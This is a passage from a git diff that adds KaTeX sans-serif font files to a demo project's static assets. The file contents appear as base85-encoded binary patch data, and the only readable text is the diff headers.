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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_SansSerif-Regular.woff b/demo/static/dist/assets/KaTeX_SansSerif-Regular.woff new file mode 100644 index 0000000000000000000000000000000000000000..31b84829b42edae20d0148eeec0d922dad2108c4 GIT binary patch literal 12316 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 DqysK0 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_SansSerif-Regular.woff2 b/demo/static/dist/assets/KaTeX_SansSerif-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..a90eea85f6f7bded69ff5d40114447a6d8b48cfe GIT binary patch literal 10344 zcmV-uD3{lFPew8T0RR9104Qhx4gdfE08C&204NXu0RR9100000000000000000000 z00006U;u&y2wDl83=s$l;$X`j0X7081A}f0fqDQ0AO(pa2ZI3&fifGaK4piDbvuxV z6#5b(Dmas7|Nm{dAu`ZEP~ECnb|eyPwiTFUR5y*Mx2Ne~jX@c8uTXpvCb3wegGR;m 